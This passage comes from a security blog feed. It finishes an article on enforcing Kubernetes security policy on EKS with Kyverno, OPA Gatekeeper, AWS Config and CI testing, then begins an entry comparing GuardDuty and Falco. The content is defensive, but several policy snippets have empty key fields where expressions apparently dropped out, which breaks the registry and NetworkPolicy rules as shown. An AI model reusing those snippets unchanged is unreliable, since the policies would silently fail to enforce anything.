                  <span class="pi">-</span> <span class="na">key</span><span class="pi">:</span> <span class="s2">"</span><span class="s">"</span>
                    <span class="na">operator</span><span class="pi">:</span> <span class="s">NotEquals</span>
                    <span class="na">value</span><span class="pi">:</span> <span class="s2">"</span><span class="s">public.ecr.aws/*"</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="kyverno-mutation-auto-inject-best-practices">Kyverno Mutation: Auto-Inject Best Practices</h3>

<p>One of Kyverno’s standout capabilities is <strong>mutation</strong> – automatically modifying resources to comply with policy rather than just blocking them.</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
</pre></td><td class="rouge-code"><pre><span class="na">apiVersion</span><span class="pi">:</span> <span class="s">kyverno.io/v1</span>
<span class="na">kind</span><span class="pi">:</span> <span class="s">ClusterPolicy</span>
<span class="na">metadata</span><span class="pi">:</span>
  <span class="na">name</span><span class="pi">:</span> <span class="s">add-default-security-context</span>
<span class="na">spec</span><span class="pi">:</span>
  <span class="na">rules</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">add-run-as-non-root</span>
      <span class="na">match</span><span class="pi">:</span>
        <span class="na">any</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">resources</span><span class="pi">:</span>
              <span class="na">kinds</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="s">Pod</span>
      <span class="na">mutate</span><span class="pi">:</span>
        <span class="na">patchStrategicMerge</span><span class="pi">:</span>
          <span class="na">spec</span><span class="pi">:</span>
            <span class="na">securityContext</span><span class="pi">:</span>
              <span class="na">runAsNonRoot</span><span class="pi">:</span> <span class="kc">true</span>
              <span class="na">seccompProfile</span><span class="pi">:</span>
                <span class="na">type</span><span class="pi">:</span> <span class="s">RuntimeDefault</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>This mutation policy automatically injects a security context into every Pod, ensuring <code class="language-plaintext highlighter-rouge">runAsNonRoot</code> and a <code class="language-plaintext highlighter-rouge">seccompProfile</code> are set even if the developer omits them.</p>

<h2 id="comparison-opa-gatekeeper-vs-kyverno-vs-aws-config">Comparison: OPA Gatekeeper vs Kyverno vs AWS Config</h2>

<table>
  <thead>
    <tr>
      <th>Feature</th>
      <th>OPA Gatekeeper</th>
      <th>Kyverno</th>
      <th>AWS Config</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Policy Language</strong></td>
      <td>Rego (custom DSL)</td>
      <td>YAML/CEL (Kubernetes-native)</td>
      <td>JSON rule definitions</td>
    </tr>
    <tr>
      <td><strong>Learning Curve</strong></td>
      <td>Steep (Rego requires dedicated learning)</td>
      <td>Low (YAML familiar to K8s users)</td>
      <td>Low (managed rules are pre-built)</td>
    </tr>
    <tr>
      <td><strong>Scope</strong></td>
      <td>In-cluster workloads</td>
      <td>In-cluster workloads</td>
      <td>AWS resource configuration</td>
    </tr>
    <tr>
      <td><strong>Validation</strong></td>
      <td>Yes</td>
      <td>Yes</td>
      <td>Yes</td>
    </tr>
    <tr>
      <td><strong>Mutation</strong></td>
      <td>No (validation only)</td>
      <td>Yes (patch, merge, JSON Patch)</td>
      <td>No</td>
    </tr>
    <tr>
      <td><strong>Generation</strong></td>
      <td>No</td>
      <td>Yes (create resources from policy)</td>
      <td>No</td>
    </tr>
    <tr>
      <td><strong>Image Verification</strong></td>
      <td>Via external data</td>
      <td>Native Cosign/Notary support</td>
      <td>No</td>
    </tr>
    <tr>
      <td><strong>Portability</strong></td>
      <td>Any Kubernetes cluster</td>
      <td>Any Kubernetes cluster</td>
      <td>AWS only</td>
    </tr>
    <tr>
      <td><strong>CNCF Status</strong></td>
      <td>Graduated (OPA)</td>
      <td>Graduated</td>
      <td>N/A (proprietary)</td>
    </tr>
    <tr>
      <td><strong>Multi-Cluster</strong></td>
      <td>Via GitOps</td>
      <td>Via GitOps</td>
      <td>Via AWS Organizations</td>
    </tr>
    <tr>
      <td><strong>Audit/Reporting</strong></td>
      <td>Constraint status + audit logs</td>
      <td>PolicyReport CRDs</td>
      <td>AWS Config dashboard + Security Hub</td>
    </tr>
    <tr>
      <td><strong>CI/CD Testing</strong></td>
      <td>conftest (Rego)</td>
      <td>Kyverno CLI</td>
      <td>CloudFormation Guard</td>
    </tr>
    <tr>
      <td><strong>Community Policies</strong></td>
      <td>Gatekeeper Library</td>
      <td>300+ policies on kyverno.io</td>
      <td>400+ managed rules</td>
    </tr>
    <tr>
      <td><strong>CEL Support</strong></td>
      <td>Yes (v3.22 VAP sync)</td>
      <td>Yes (v1 stable in 1.17)</td>
      <td>No</td>
    </tr>
    <tr>
      <td><strong>Best For</strong></td>
      <td>Complex cross-cutting logic, multi-system policy</td>
      <td>K8s-native teams wanting mutation + validation</td>
      <td>AWS infrastructure compliance</td>
    </tr>
  </tbody>
</table>

<h3 id="when-to-use-what">When to Use What</h3>

<p><strong>Choose OPA Gatekeeper</strong> when you need Rego’s expressive power for complex conditional logic, when your organization already uses OPA for non-Kubernetes policy (Terraform, CI pipelines, API authorization), or when you want a single policy language across your entire stack.</p>

<p><strong>Choose Kyverno</strong> when your team is Kubernetes-native and wants to write policies in YAML without learning a new language, when you need mutation and generation capabilities, or when supply chain security with native image verification is a priority.</p>

<p><strong>Use AWS Config alongside either</strong> for infrastructure-layer compliance: cluster version checks, endpoint visibility, logging configuration, and encryption settings that operate outside the Kubernetes API.</p>

<h2 id="cicd-integration-testing-policies-before-deployment">CI/CD Integration: Testing Policies Before Deployment</h2>

<p>Policy-as-code reaches its full potential when policies are tested in CI, long before manifests reach a cluster. This catches violations at pull request time and gives developers immediate feedback.</p>

<h3 id="testing-opa-policies-with-conftest">Testing OPA Policies with conftest</h3>

<p><a href="https://www.conftest.dev/">conftest</a> is a utility for testing structured data against OPA policies. It evaluates Rego rules against YAML, JSON, HCL, and other configuration formats.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
</pre></td><td class="rouge-code"><pre><span class="c"># Install conftest</span>
brew <span class="nb">install </span>conftest

<span class="c"># Project structure</span>
<span class="c"># policy/</span>
<span class="c">#   deny-privileged.rego</span>
<span class="c"># manifests/</span>
<span class="c">#   deployment.yaml</span>

<span class="c"># Write a conftest policy</span>
<span class="nb">cat</span> <span class="o">&gt;</span> policy/deny-privileged.rego <span class="o">&lt;&lt;</span> <span class="sh">'</span><span class="no">EOF</span><span class="sh">'
package main

deny[msg] {
  input.kind == "Pod"
  container := input.spec.containers[_]
  container.securityContext.privileged == true
  msg := sprintf("Container %s must not be privileged", [container.name])
}

deny[msg] {
  input.kind == "Deployment"
  container := input.spec.template.spec.containers[_]
  container.securityContext.privileged == true
  msg := sprintf("Container %s in Deployment must not be privileged", [container.name])
}

deny[msg] {
  input.kind == "Pod"
  container := input.spec.containers[_]
  not container.resources.limits.memory
  msg := sprintf("Container %s must define memory limits", [container.name])
}
</span><span class="no">EOF

</span><span class="c"># Run conftest against manifests</span>
conftest <span class="nb">test </span>manifests/ <span class="nt">--policy</span> policy/

<span class="c"># Example output for a non-compliant manifest:</span>
<span class="c"># FAIL - manifests/deployment.yaml - Container nginx must not be privileged</span>
<span class="c"># 1 test, 0 passed, 0 warnings, 1 failure</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="testing-kyverno-policies-with-the-kyverno-cli">Testing Kyverno Policies with the Kyverno CLI</h3>

<p>Kyverno ships its own CLI for offline policy evaluation:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="rouge-code"><pre><span class="c"># Install the Kyverno CLI</span>
brew <span class="nb">install </span>kyverno

<span class="c"># Test a policy against a resource</span>
kyverno apply disallow-privileged-containers.yaml <span class="se">\</span>
  <span class="nt">--resource</span> deployment.yaml

<span class="c"># Example output:</span>
<span class="c"># Applying 1 policy rule to 1 resource...</span>
<span class="c"># pass: 0 fail: 1 warn: 0 error: 0 skip: 0</span>

<span class="c"># Run in CI with exit code</span>
kyverno apply policies/ <span class="nt">--resource</span> manifests/ <span class="nt">--exit-code</span> 1
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="codebuild-integration-example">CodeBuild Integration Example</h3>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
</pre></td><td class="rouge-code"><pre><span class="c1"># buildspec.yml for AWS CodeBuild</span>
<span class="na">version</span><span class="pi">:</span> <span class="m">0.2</span>

<span class="na">phases</span><span class="pi">:</span>
  <span class="na">install</span><span class="pi">:</span>
    <span class="na">commands</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">curl -L https://github.com/open-policy-agent/conftest/releases/download/v0.55.0/conftest_0.55.0_Linux_x86_64.tar.gz | tar xz</span>
      <span class="pi">-</span> <span class="s">mv conftest /usr/local/bin/</span>
      <span class="pi">-</span> <span class="s">curl -L https://github.com/kyverno/kyverno/releases/download/v1.17.1/kyverno-cli_v1.17.1_linux_x86_64.tar.gz | tar xz</span>
      <span class="pi">-</span> <span class="s">mv kyverno /usr/local/bin/</span>

  <span class="na">pre_build</span><span class="pi">:</span>
    <span class="na">commands</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">echo "Running policy checks..."</span>
      <span class="c1"># OPA/conftest validation</span>
      <span class="pi">-</span> <span class="s">conftest test k8s-manifests/ --policy policy/ --output json &gt; conftest-results.json</span>
      <span class="c1"># Kyverno CLI validation</span>
      <span class="pi">-</span> <span class="s">kyverno apply kyverno-policies/ --resource k8s-manifests/ --output json &gt; kyverno-results.json</span>

  <span class="na">build</span><span class="pi">:</span>
    <span class="na">commands</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">echo "All policy checks passed. Proceeding with deployment..."</span>
      <span class="pi">-</span> <span class="s">kubectl apply -f k8s-manifests/</span>

<span class="na">reports</span><span class="pi">:</span>
  <span class="na">conftest</span><span class="pi">:</span>
    <span class="na">files</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">conftest-results.json</span>
  <span class="na">kyverno</span><span class="pi">:</span>
    <span class="na">files</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">kyverno-results.json</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="github-actions-integration">GitHub Actions Integration</h3>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
</pre></td><td class="rouge-code"><pre><span class="c1"># .github/workflows/policy-check.yml</span>
<span class="na">name</span><span class="pi">:</span> <span class="s">Policy Validation</span>
<span class="na">on</span><span class="pi">:</span>
  <span class="na">pull_request</span><span class="pi">:</span>
    <span class="na">paths</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s1">'</span><span class="s">k8s-manifests/**'</span>
      <span class="pi">-</span> <span class="s1">'</span><span class="s">policy/**'</span>

<span class="na">jobs</span><span class="pi">:</span>
  <span class="na">conftest</span><span class="pi">:</span>
    <span class="na">runs-on</span><span class="pi">:</span> <span class="s">ubuntu-latest</span>
    <span class="na">steps</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="na">uses</span><span class="pi">:</span> <span class="s">actions/checkout@v4</span>
      <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">Run conftest</span>
        <span class="na">uses</span><span class="pi">:</span> <span class="s">instrumenta/conftest-action@v0.3.0</span>
        <span class="na">with</span><span class="pi">:</span>
          <span class="na">files</span><span class="pi">:</span> <span class="s">k8s-manifests/</span>
          <span class="na">policy</span><span class="pi">:</span> <span class="s">policy/</span>

  <span class="na">kyverno</span><span class="pi">:</span>
    <span class="na">runs-on</span><span class="pi">:</span> <span class="s">ubuntu-latest</span>
    <span class="na">steps</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="na">uses</span><span class="pi">:</span> <span class="s">actions/checkout@v4</span>
      <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">Install Kyverno CLI</span>
        <span class="na">run</span><span class="pi">:</span> <span class="pi">|</span>
          <span class="s">curl -LO https://github.com/kyverno/kyverno/releases/download/v1.17.1/kyverno-cli_v1.17.1_linux_x86_64.tar.gz</span>
          <span class="s">tar xzf kyverno-cli_v1.17.1_linux_x86_64.tar.gz</span>
          <span class="s">sudo mv kyverno /usr/local/bin/</span>
      <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">Validate manifests</span>
        <span class="na">run</span><span class="pi">:</span> <span class="s">kyverno apply kyverno-policies/ --resource k8s-manifests/ --exit-code </span><span class="m">1</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="defense-in-depth-combining-aws-config-with-opa-or-kyverno">Defense-in-Depth: Combining AWS Config with OPA or Kyverno</h2>

<p>The strongest posture layers AWS Config for infrastructure-level compliance with an in-cluster policy engine for workload-level enforcement. Each layer catches different classes of misconfiguration.</p>

<h3 id="layer-1-aws-config-infrastructure">Layer 1: AWS Config (Infrastructure)</h3>

<p>AWS Config evaluates the EKS cluster itself:</p>

<ul>
  <li>Is the cluster running a supported Kubernetes version?</li>
  <li>Is the API endpoint restricted to the VPC?</li>
  <li>Are audit logs flowing to CloudWatch?</li>
  <li>Is envelope encryption enabled for Secrets?</li>
</ul>

<p>Findings aggregate in Security Hub alongside GuardDuty, Inspector, and IAM Access Analyzer results.</p>

<h3 id="layer-2-opa-or-kyverno-workload">Layer 2: OPA or Kyverno (Workload)</h3>

<p>Your in-cluster policy engine evaluates what runs on the cluster:</p>

<ul>
  <li>Are Pods running as non-root?</li>
  <li>Do all containers have resource limits?</li>
  <li>Are images pulled only from approved ECR registries?</li>
  <li>Do Deployments carry required labels?</li>
  <li>Are ServiceAccounts scoped to least privilege?</li>
</ul>

<h3 id="layer-3-cicd-shift-left">Layer 3: CI/CD (Shift Left)</h3>

<p>conftest and the Kyverno CLI validate manifests before they reach the cluster:</p>

<ul>
  <li>Policy checks run on every pull request</li>
  <li>Developers get immediate feedback</li>
  <li>Non-compliant changes never merge</li>
</ul>

<h3 id="progressive-enforcement-strategy">Progressive Enforcement Strategy</h3>

<p>A production-hardened rollout follows this progression:</p>

<ol>
  <li><strong>Audit mode</strong> (<code class="language-plaintext highlighter-rouge">enforcementAction: warn</code> in Gatekeeper, <code class="language-plaintext highlighter-rouge">validationFailureAction: Audit</code> in Kyverno): Policies log violations without blocking. Monitor findings, identify false positives, and tune rules.</li>
  <li><strong>CI enforcement</strong>: Enable <code class="language-plaintext highlighter-rouge">conftest</code> or <code class="language-plaintext highlighter-rouge">kyverno apply</code> as required CI checks. Developers learn to fix violations before merge.</li>
  <li><strong>Cluster enforcement</strong>: Switch to <code class="language-plaintext highlighter-rouge">deny</code>/<code class="language-plaintext highlighter-rouge">Enforce</code> once the violation count stabilizes. Grant time-bound exceptions via Kyverno PolicyExceptions or Gatekeeper constraint exclusions.</li>
  <li><strong>Continuous drift detection</strong>: Gatekeeper audit and Kyverno background scanning catch resources that predate the policy or bypassed admission through direct etcd writes.</li>
</ol>

<h2 id="real-world-policy-patterns">Real-World Policy Patterns</h2>

<p>The following patterns address the most common Kubernetes security risks across production environments.</p>

<h3 id="pattern-1-pod-security-standards-enforcement">Pattern 1: Pod Security Standards Enforcement</h3>

<p>Map the Kubernetes Pod Security Standards (Baseline and Restricted profiles) to your policy engine. This replaces the deprecated PodSecurityPolicy API.</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
</pre></td><td class="rouge-code"><pre><span class="c1"># Kyverno: Enforce Restricted pod security profile</span>
<span class="na">apiVersion</span><span class="pi">:</span> <span class="s">kyverno.io/v1</span>
<span class="na">kind</span><span class="pi">:</span> <span class="s">ClusterPolicy</span>
<span class="na">metadata</span><span class="pi">:</span>
  <span class="na">name</span><span class="pi">:</span> <span class="s">enforce-restricted-profile</span>
<span class="na">spec</span><span class="pi">:</span>
  <span class="na">validationFailureAction</span><span class="pi">:</span> <span class="s">Enforce</span>
  <span class="na">rules</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">restrict-capabilities</span>
      <span class="na">match</span><span class="pi">:</span>
        <span class="na">any</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">resources</span><span class="pi">:</span>
              <span class="na">kinds</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="s">Pod</span>
      <span class="na">validate</span><span class="pi">:</span>
        <span class="na">message</span><span class="pi">:</span> <span class="s2">"</span><span class="s">Containers</span><span class="nv"> </span><span class="s">must</span><span class="nv"> </span><span class="s">drop</span><span class="nv"> </span><span class="s">ALL</span><span class="nv"> </span><span class="s">capabilities</span><span class="nv"> </span><span class="s">and</span><span class="nv"> </span><span class="s">may</span><span class="nv"> </span><span class="s">only</span><span class="nv"> </span><span class="s">add</span><span class="nv"> </span><span class="s">NET_BIND_SERVICE."</span>
        <span class="na">pattern</span><span class="pi">:</span>
          <span class="na">spec</span><span class="pi">:</span>
            <span class="na">containers</span><span class="pi">:</span>
              <span class="pi">-</span> <span class="na">securityContext</span><span class="pi">:</span>
                  <span class="na">capabilities</span><span class="pi">:</span>
                    <span class="na">drop</span><span class="pi">:</span>
                      <span class="pi">-</span> <span class="s">ALL</span>
                    <span class="na">=(add)</span><span class="pi">:</span>
                      <span class="pi">-</span> <span class="s">NET_BIND_SERVICE</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="pattern-2-network-policy-requirement">Pattern 2: Network Policy Requirement</h3>

<p>Ensure every namespace has at least one NetworkPolicy defined to prevent unrestricted lateral movement.</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
</pre></td><td class="rouge-code"><pre><span class="na">apiVersion</span><span class="pi">:</span> <span class="s">kyverno.io/v1</span>
<span class="na">kind</span><span class="pi">:</span> <span class="s">ClusterPolicy</span>
<span class="na">metadata</span><span class="pi">:</span>
  <span class="na">name</span><span class="pi">:</span> <span class="s">require-network-policy</span>
<span class="na">spec</span><span class="pi">:</span>
  <span class="na">validationFailureAction</span><span class="pi">:</span> <span class="s">Audit</span>
  <span class="na">rules</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">require-netpol</span>
      <span class="na">match</span><span class="pi">:</span>
        <span class="na">any</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">resources</span><span class="pi">:</span>
              <span class="na">kinds</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="s">Deployment</span>
      <span class="na">preconditions</span><span class="pi">:</span>
        <span class="na">all</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">key</span><span class="pi">:</span> <span class="s2">"</span><span class="s">"</span>
            <span class="na">operator</span><span class="pi">:</span> <span class="s">NotIn</span>
            <span class="na">value</span><span class="pi">:</span> <span class="pi">[</span><span class="s2">"</span><span class="s">kube-system"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">kyverno"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">gatekeeper-system"</span><span class="pi">]</span>
      <span class="na">validate</span><span class="pi">:</span>
        <span class="na">message</span><span class="pi">:</span> <span class="s2">"</span><span class="s">A</span><span class="nv"> </span><span class="s">NetworkPolicy</span><span class="nv"> </span><span class="s">must</span><span class="nv"> </span><span class="s">exist</span><span class="nv"> </span><span class="s">in</span><span class="nv"> </span><span class="s">the</span><span class="nv"> </span><span class="s">namespace</span><span class="nv"> </span><span class="s">before</span><span class="nv"> </span><span class="s">deploying</span><span class="nv"> </span><span class="s">workloads."</span>
        <span class="na">deny</span><span class="pi">:</span>
          <span class="na">conditions</span><span class="pi">:</span>
            <span class="na">all</span><span class="pi">:</span>
              <span class="pi">-</span> <span class="na">key</span><span class="pi">:</span> <span class="s2">"</span><span class="s">"</span>
                <span class="na">operator</span><span class="pi">:</span> <span class="s">AnyNotIn</span>
                <span class="na">value</span><span class="pi">:</span> <span class="s2">"</span><span class="s">"</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="pattern-3-automount-serviceaccount-token-restriction">Pattern 3: Automount ServiceAccount Token Restriction</h3>

<p>Prevent Pods from automatically mounting the ServiceAccount token unless explicitly required, reducing the blast radius of a container compromise.</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
</pre></td><td class="rouge-code"><pre><span class="na">apiVersion</span><span class="pi">:</span> <span class="s">kyverno.io/v1</span>
<span class="na">kind</span><span class="pi">:</span> <span class="s">ClusterPolicy</span>
<span class="na">metadata</span><span class="pi">:</span>
  <span class="na">name</span><span class="pi">:</span> <span class="s">restrict-automount-sa-token</span>
<span class="na">spec</span><span class="pi">:</span>
  <span class="na">validationFailureAction</span><span class="pi">:</span> <span class="s">Enforce</span>
  <span class="na">rules</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">deny-automount</span>
      <span class="na">match</span><span class="pi">:</span>
        <span class="na">any</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">resources</span><span class="pi">:</span>
              <span class="na">kinds</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="s">Pod</span>
      <span class="na">exclude</span><span class="pi">:</span>
        <span class="na">any</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">resources</span><span class="pi">:</span>
              <span class="na">namespaces</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="s">kube-system</span>
      <span class="na">validate</span><span class="pi">:</span>
        <span class="na">message</span><span class="pi">:</span> <span class="s2">"</span><span class="s">Pods</span><span class="nv"> </span><span class="s">must</span><span class="nv"> </span><span class="s">set</span><span class="nv"> </span><span class="s">automountServiceAccountToken</span><span class="nv"> </span><span class="s">to</span><span class="nv"> </span><span class="s">false."</span>
        <span class="na">pattern</span><span class="pi">:</span>
          <span class="na">spec</span><span class="pi">:</span>
            <span class="na">automountServiceAccountToken</span><span class="pi">:</span> <span class="kc">false</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="implementation-roadmap">Implementation Roadmap</h2>

<p>Use this phased approach to roll out policy-as-code on your EKS clusters.</p>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Week 1-2</strong>: Deploy your chosen policy engine (Kyverno or Gatekeeper) in audit mode on a non-production cluster</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Week 2-3</strong>: Import community policies for Pod Security Standards, resource limits, and image registries. Tune for your environment</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Week 3-4</strong>: Integrate conftest or Kyverno CLI into CI pipelines as non-blocking checks. Monitor violation reports</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Week 4-6</strong>: Switch CI checks to blocking. Developers fix violations before merge</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Week 6-8</strong>: Enable enforcement on staging clusters. Run AWS Config EKS rules in parallel</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Week 8-10</strong>: Enable enforcement on production clusters with a defined exception process</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Week 10-12</strong>: Aggregate findings from policy engine reports, AWS Config, and Security Hub into a single compliance dashboard</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Ongoing</strong>: Review policy violations monthly, update rules for new threat patterns, and retire obsolete policies</li>
</ul>

<h2 id="related-articles">Related Articles</h2>

<ul>
  <li><a href="/posts/aws-devsecops-pipeline-security-automation-implementation/">AWS DevSecOps Pipeline Security: Complete Automation Implementation Guide</a></li>
  <li><a href="/posts/aws-iam-zero-trust-identity-network-deep-dive/">AWS IAM Zero Trust: Identity and Network Deep Dive</a></li>
  <li><a href="/posts/aws-cloud-security-best-practices-implementation-guide/">AWS Cloud Security Best Practices Implementation Guide</a></li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>Manual configuration reviews cannot keep pace with Kubernetes. Policy-as-code transforms security governance from a periodic audit exercise into continuous, automated enforcement. AWS Config covers the infrastructure layer – cluster versions, endpoint visibility, encryption – while OPA Gatekeeper and Kyverno operate where the real risk lives: inside the cluster, at the admission control boundary.</p>

<p>If your team writes Kubernetes YAML daily, Kyverno’s YAML-native approach and mutation capabilities offer the fastest path to value. If your organization standardizes on OPA across multiple systems (Terraform, API gateways, CI pipelines), Gatekeeper gives you one language for all policy decisions. Either way, the open-source engines are portable across any Kubernetes distribution, giving you maximum freedom and flexibility without vendor lock-in.</p>

<p>Start in audit mode, shift left with CI testing, and graduate to enforcement. Your future self – and your compliance team – will thank you.</p>

<hr />

<p><em>Connect with me on <a href="https://www.linkedin.com/in/jonpricelinux/">LinkedIn</a> to discuss policy-as-code strategies, EKS security, and DevSecOps practices.</em></p>]]></content><author><name>Jon (JR) Price</name></author><category term="AWS" /><category term="Security" /><category term="admission-control" /><category term="eks-security" /><category term="gatekeeper" /><category term="kubernetes" /><category term="kyverno" /><category term="opa" /><category term="open-source" /><category term="policy-as-code" /><summary type="html"><![CDATA[Implement enforceable security policies on EKS with OPA Gatekeeper and Kyverno. Compare open-source policy engines with AWS Config for Kubernetes governance.]]></summary></entry><entry><title type="html">EKS Runtime Security: GuardDuty vs Falco for Container Threat Detection</title><link href="https://red-team.sh/posts/eks-runtime-security-falco-vs-guardduty/" rel="alternate" type="text/html" title="EKS Runtime Security: GuardDuty vs Falco for Container Threat Detection" /><published>2026-03-04T08:00:00-08:00</published><updated>2026-03-04T08:00:00-08:00</updated><id>https://red-team.sh/posts/eks-runtime-security-falco-vs-guardduty</id><content type="html" xml:base="https://red-team.sh/posts/eks-runtime-security-falco-vs-guardduty/"><![CDATA[<p><img src="/assets/img/eks-runtime-security-falco-guardduty.png" alt="EKS Runtime Security" class="shadow" w="800" />
<em>EKS runtime security architecture showing GuardDuty and Falco monitoring paths</em></p>

<ul id="markdown-toc">
  <li><a href="#introduction" id="markdown-toc-introduction">Introduction</a>    <ul>
      <li><a href="#current-landscape-statistics" id="markdown-toc-current-landscape-statistics">Current Landscape Statistics</a></li>
    </ul>
  </li>
  <li><a href="#aws-guardduty-eks-runtime-monitoring" id="markdown-toc-aws-guardduty-eks-runtime-monitoring">AWS GuardDuty EKS Runtime Monitoring</a>    <ul>
      <li><a href="#how-it-works" id="markdown-toc-how-it-works">How It Works</a></li>
      <li><a href="#key-detection-categories" id="markdown-toc-key-detection-categories">Key Detection Categories</a></li>
      <li><a href="#enabling-guardduty-eks-runtime-monitoring-with-terraform" id="markdown-toc-enabling-guardduty-eks-runtime-monitoring-with-terraform">Enabling GuardDuty EKS Runtime Monitoring with Terraform</a></li>
      <li><a href="#verifying-agent-deployment" id="markdown-toc-verifying-agent-deployment">Verifying Agent Deployment</a></li>
      <li><a href="#automating-guardduty-alerts-with-python" id="markdown-toc-automating-guardduty-alerts-with-python">Automating GuardDuty Alerts with Python</a></li>
      <li><a href="#eventbridge-rule-for-eks-runtime-findings" id="markdown-toc-eventbridge-rule-for-eks-runtime-findings">EventBridge Rule for EKS Runtime Findings</a></li>
    </ul>
  </li>
  <li><a href="#falco-open-source-runtime-security" id="markdown-toc-falco-open-source-runtime-security">Falco: Open-Source Runtime Security</a>    <ul>
      <li><a href="#how-it-works-1" id="markdown-toc-how-it-works-1">How It Works</a></li>
      <li><a href="#key-advantages-over-managed-solutions" id="markdown-toc-key-advantages-over-managed-solutions">Key Advantages Over Managed Solutions</a></li>
      <li><a href="#deploying-falco-on-eks-with-helm" id="markdown-toc-deploying-falco-on-eks-with-helm">Deploying Falco on EKS with Helm</a></li>
      <li><a href="#custom-falco-rules-for-common-threats" id="markdown-toc-custom-falco-rules-for-common-threats">Custom Falco Rules for Common Threats</a></li>
    </ul>
  </li>
  <li><a href="#head-to-head-comparison" id="markdown-toc-head-to-head-comparison">Head-to-Head Comparison</a>    <ul>
      <li><a href="#cost-comparison-for-a-typical-eks-deployment" id="markdown-toc-cost-comparison-for-a-typical-eks-deployment">Cost Comparison for a Typical EKS Deployment</a></li>
    </ul>
  </li>
  <li><a href="#real-detection-scenarios" id="markdown-toc-real-detection-scenarios">Real Detection Scenarios</a>    <ul>
      <li><a href="#scenario-1-cryptomining-attack" id="markdown-toc-scenario-1-cryptomining-attack">Scenario 1: Cryptomining Attack</a></li>
